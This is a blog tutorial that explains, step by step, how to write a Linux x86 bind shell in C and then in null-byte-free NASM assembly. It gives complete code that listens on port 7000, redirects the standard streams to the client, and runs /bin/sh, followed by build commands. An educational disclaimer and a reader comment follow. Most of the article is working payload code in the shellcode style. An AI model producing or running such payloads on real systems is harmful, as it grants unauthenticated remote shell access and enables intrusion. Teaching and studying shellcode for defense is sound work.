A Bindshell in NASM

A bind shell is a piece of code that creates a network socket and listens for incoming connections to allow a potential client to execute commands on the local system. As soon as a connection attempt is accepted, it connects the file descriptor of the client socket to the standard input and output streams (stdin, stdout, stderr) of the local system and executes a shell, so every character that is received via the socket is "passed" to the shell and vice-versa.

Let's have a look at the C code for a bind shell.

struct sockaddr_in sock;
int fd, client, i;

/* create a TCP socket */
fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

/* this is supposed to be an INET socket */
sock.sin_family = AF_INET;

/* listen at port 7000 (the network byte order is always big-endian, so
 * we need the htons() function, which converts the system's byte order
 * to the network byte order. */
sock.sin_port = htons(7000);

/* listen at any available address */
sock.sin_addr.s_addr = htonl(INADDR_ANY);

/* bind the address to the socket */
bind(fd, (struct sockaddr*) &sock, sizeof(sock));

/* listen at the socket for incoming connections (this blocks execution) */
listen(fd, 1);

/* a client has connected, accept it */
client = accept(fd, NULL, 0);

/* connect the client's file descriptor with stdin, stdout and stderr */
for(i=0; i<=2; i++)
    dup2(client, i);

/* execute a shell */
execve("/bin/sh", NULL, NULL);

You would do some error checking on a productive system, but this code is only for educational purposes and thus not secured.

Writing such a shell in C is nothing special, as the commands needed to manage all the networking stuff are very common and can be found in every (C-) program that uses a network stack for user communication (e.g. the Octopus Daemon ;)) -- but doing so in assembly language is not so easy, as the internal structure of the data types heavily depends on the system you're using. The most important aspects are the operating system itself and the processor family of your CPU. Usually, on Intel x86 machines, the bytes are ordered in the Little-Endian format, which basically means that the hexadecimal 32-bit value 0x12345678 looks like 0x78563412 on the stack. If you want to store the byte sequence "Hello World!", you have to push it on the stack like this (NASM syntax):

push 0x21646c72    ; !dlr
push 0x6f57206f    ; oW o
push 0x6c6c6548    ; lleH

Now, as the stacks grows from high addresses to lower addresses, this is the stack layout after the push operations:

<-+-------------+-------------+-------------+-----
  | H  e  l  l  | o     W  o  | r  l  d  !  | ...
<-+-------------+-------------+-------------+-----
  | 48 65 6c 6c | 6f 20 57 6f | 72 6c 64 21 | ...
<-+-------------+-------------+-------------+-----

As you can see, if we take our stack pointer as the beginning of a character array, we get the string "Hello World!". At the moment, this might be confusing, but after some time (and freak-outs) you'll get used to it.

Another important thing to know is how Linux system calls (I'm focusing on Linux in this article) are implemented. A system call is a way of telling the kernel what you want it to do, e.g. reading from a serial port or writing to a file in your file system -- everything you cannot do directly from user space. The Linux kernel manages a list of all valid system calls (the so-called System Call Table) with the system call number assigned to the matching internal kernel function. When a user space program wants the kernel to execute a system call, it stores the number of the call in the EAX register of the CPU and triggers the software interrupt 0x80 (128). This causes the kernel to invoke the system_call() function that finally executes the desired piece of code.

Alright, but how can I find the system call number? This can be done by reverse engineering the compiled C code (that's the way I did it) or by reading the kernel source (esp. arch/i386/kernel/syscall_table.S), or by using one of the various tables on the net.

So, the system call number has to be stored in the EAX CPU register, but what about the arguments of the system call? Well, they are simply put into EBX, ECX and EDX (there are also some techniques to manage system calls with more than three arguments, but this is out of interest for now).

While reverse engineering the compiled C code above, I noticed that every user space function dealing with network sockets (in this case: socket, bind, listen, accept) is implemented with the socketcall() system call, which is defined like this:

int socketcall(int call, unsigned long *args);

The first argument is the socket call number (not the sytem call number!) of the network function we actually want to execute and the second argument is a pointer to the arguments of this function. The arguments specified by args have to lie somewhere in the memory, so the easiest way to get a valid pointer is to push them on the stack one after another, starting with the last argument, and then take the stack pointer (ESP) after the push operations as the second argument for socketcall().

The socket() call expects exactly three arguments and returns (on success) the file descriptor of our network socket:

int socket(int domain, int type, int protocol);

In our case, this is:

fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

After browsing some header files in /usr/include/, I found out that PF_INET is 2, SOCK_STREAM is 1 and IPPROTO_TCP 6. Reverse engineering tells us that socket() is the socket call #1 and socketcall() the system call #102 (0x66). Alright, that's enough information to write the first lines in NASM.

; SOCKET {{{

    xor eax, eax             ; reset the registers
    xor ebx, ebx

; socket() args {
    push byte 6              ; IPPROTO_TCP
    push byte 1              ; SOCK_STREAM
    push byte 2              ; PF_INET
; }

    mov al, 0x66             ; socketcall()
    inc ebx                  ; int call = 1
    mov ecx, esp             ; unsigned long *args = {2, 1, 6}

    int 0x80

; }}}

The return value of a system call is always stored in the EAX register after the call. As we need the file descriptor that is returned by socket() for the next calls, we have to move it somewhere to a save place. EDI seems to be a good choice.

    mov edi, eax             ; save sockfd

The bind() socket call is way more complex, as it requires the struct sockaddr_in as an argument. This is what /usr/include/linux/in.h says about that struct:

/* Structure describing an Internet (IP) socket address. */

#define __SOCK_SIZE__   16      /* sizeof(struct sockaddr)  */

struct sockaddr_in {
  sa_family_t           sin_family; /* Address family       */
  unsigned short int    sin_port;   /* Port number          */
  struct in_addr        sin_addr;   /* Internet address     */

  /* Pad to size of `struct sockaddr'. */
  unsigned char         __pad[__SOCK_SIZE__ - sizeof(short int) -
                            sizeof(unsigned short int) - sizeof(struct in_addr)];
};

Well, that poses another question: What is sa_family_t? /usr/include/linux/socket.h knows the answer:

typedef unsigned short        sa_family_t;

Obviously, we have a 2 byte sized field containing the address family. The size of sin_port is also 2 bytes (unsigned short int), so we see that the highest port available is 2^16 - 1 = 65535. Interesting.

Now, what about struct in_addr? Again, /usr/include/linux/in.h helps us finding the answer:

struct in_addr {
        __u32   s_addr;
};

Ok, it seems to be a 32-bit integer value. The last element of the sockaddr_in struct is only padding to make it exactly __SOCK_SIZE__ bytes long (16 in this case). The complete data structure on the stack, filled with the values from the C code example above, looks like this:

sock.sin_family = AF_INET;
sock.sin_port = htons(7000);
sock.sin_addr.s_addr = htonl(INADDR_ANY);
<-+---------+---------+-------------+--------------------------+-----
  | family  | port    | addr        | padding                  | ...
<-+---------+---------+-------------+--------------------------+-----
  | 2 bytes | 2 bytes | 4 bytes     | 8 bytes                  | ...
<-+---------+---------+-------------+--------------------------+-----
  | AF_INET | 7000    | INADDR_ANY  | [random data]            | ...
<-+---------+---------+-------------+--------------------------+-----
  | 02 00   | 1b 58   | 00 00 00 00 | 00 00 00 00  00 00 00 00 | ...
<-+---------+---------+-------------+--------------------------+-----

The values of AF_INET and INADDR_ANY can also be found in the headers, you might try to do so as an exercise. ;)

This is the definition of bind() (socket call #2):

int bind(int sockfd, const struct sockaddr *my_addr, socklen_t addrlen);
bind(fd, (struct sockaddr*) &sock, sizeof(sock));

Alright, let's rock!

; BIND {{{

    inc ebx                  ; int call = 2
    cdq                      ; clear EDX

; struct sockaddr_in {
    push edx                 ; INADDR_ANY = htonl(0x0) = 0x0
    push word 0x581b         ; port 7000 = htons(0x1b58) = 0x581b
    push word bx             ; AF_INET = 2
; }

    mov ecx, esp             ; save the pointer to this struct

; bind() args {
    push byte 16             ; socklen_t addrlen
    push ecx                 ; const struct sockaddr *my_addr
    push edi                 ; int sockfd
; }

    mov al, 0x66             ; socketcall()
    mov ecx, esp             ; unsigned long *args

    int 0x80

; }}}

Phew! If you are not that experienced with ASM, yet, I recommend reading this piece of code more than one time. You might notice that I ignored the 8 bytes of padding in struct sockaddr_in, but there's nothing wrong with this, because these 8 bytes are in no way critical and can be chosen randomly. As there has been something on the stack before I built up the struct, I can take these bytes as padding. Additionally, some of the values from the previous call were reused in this code, so please be aware of the back references!

On with the show. The listen() call is much easier to write, as it requires only two simple arguments. It is socket call #4.

int listen(int sockfd, int backlog);
listen(fd, 1);

In NASM:

; LISTEN {{{

    sal bl, 1                ; int call = 4 (2<<1)

; listen() args {
    push byte 1              ; int backlog
    push edi                 ; int sockfd
; }

    mov al, 0x66             ; socketcall()
    mov ecx, esp             ; unsigned long *args = {edi, 5}

    int 0x80

; }}}

Once you've understood it, it's quite easy, isn't it? :)

After a successfull call to listen(), EAX should be set to 0 (according to the man page). We can rely on that fact for our next function, socket call #5, a.k.a. accept():

int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
client = accept(fd, NULL, 0);
; ACCEPT {{{

    inc ebx                  ; int call = 5

; eax should be set to zero
; accept() args {
    push eax                 ; socklen_t *addrlen
    push eax                 ; struct sockaddr *addr
    push edi                 ; int sockfd
; }

    mov al, 0x66             ; socketcall()
    mov ecx, esp             ; unsigned long *args = {fd, 0, 0}

    int 0x80

; }}}

That was the networking part of our small program. Finally, we can say goodbye to the socketcall() system call and do something new: We copy the file descriptors of a future client and connect them with the standard I/O streams of our system. This is done with the dup2() system call (#63).

int dup2(int oldfd, int newfd);

Similarly to the C code above, we'll now write a loop in ASM, starting from 3, counting down to 0. The first argument, oldfd is fixed, as it refers to the file descriptor of our client (which is stored in EAX at the moment).

; DUP2 {{{

    xchg ebx, eax            ; int oldfd = client

    xor ecx, ecx
    mov cl, 3                ; i=3

l00p:
    dec ecx                  ; --i
    mov al, 0x3f             ; dup2()
    int 0x80                 ; dup2(oldfd, i)
    jnz l00p

; }}}

Do you remember the few words I said about pushing a string to the stack? We need this technique to execute /bin/sh on our system with the execve() system call (#11).

int execve(const char *filename, char *const argv[],
           char *const envp[]);
; EXECVE {{{

    ; ecx is 0 (char *const argv [] = NULL)

    push ecx
    push 0x68732f6e          ; hs/n
    push 0x69622f2f          ; ib//

    mov ebx, esp             ; const char *filename = esp
    mov al, 0x0b             ; execve()

    cdq                      ; char *const envp [] = NULL

    int 0x80

; }}}

Strings in C have to be terminated with a zero byte, but we don't like zero bytes in our code (guess why), so we prepend another / to the path to pad it to the size of exactly 8 btes and push ECX to the stack, which is a full 32-bit zero word. By doing so, we do not contaminate our code with 0x00.

We are almost at the end of this tiny tutorial. The last step we need to take is to cleanly exit the program with system call #1: exit()!

; EXIT {{{

    mov al, 1        ; exit()
    int 0x80

; }}}

We don't care about the exit status, that's why we ignore the EBX register in this case.

Friggin' awesome! That's it. You can download the full code here and compile it with

nasm -f elf -o bindshell.o bindshell.S
gcc -o bindshell bindshell.o

To test it, just run the program and connect to localhost:7000. If you enter commands, they will be executed as if you sat in front of a normal shell. Please keep in mind that this tool is only intended for educational purposes. You should never run it on a productive system and don't even think about running it as root, because anyone could mess up your system with unrestricted shell access.

I hope you enjoyed this text. If there are still any questions left, please write a comment. Thank you!

Last change: Sat, 24 Nov 2007 16:24:25 +0100

Comments

Chrelad (Mon, 11 Feb 2008 18:43:17 +0100) This is awesome! Thanks for writing this and I hope that there is more to come :)

Thanks again Diozaka,

Chrelad
name:
e-mail: *
website:
comment:
8 + 9 Mathematics against spam!
  * not published
 

Hosted by devtty0.de
Impressum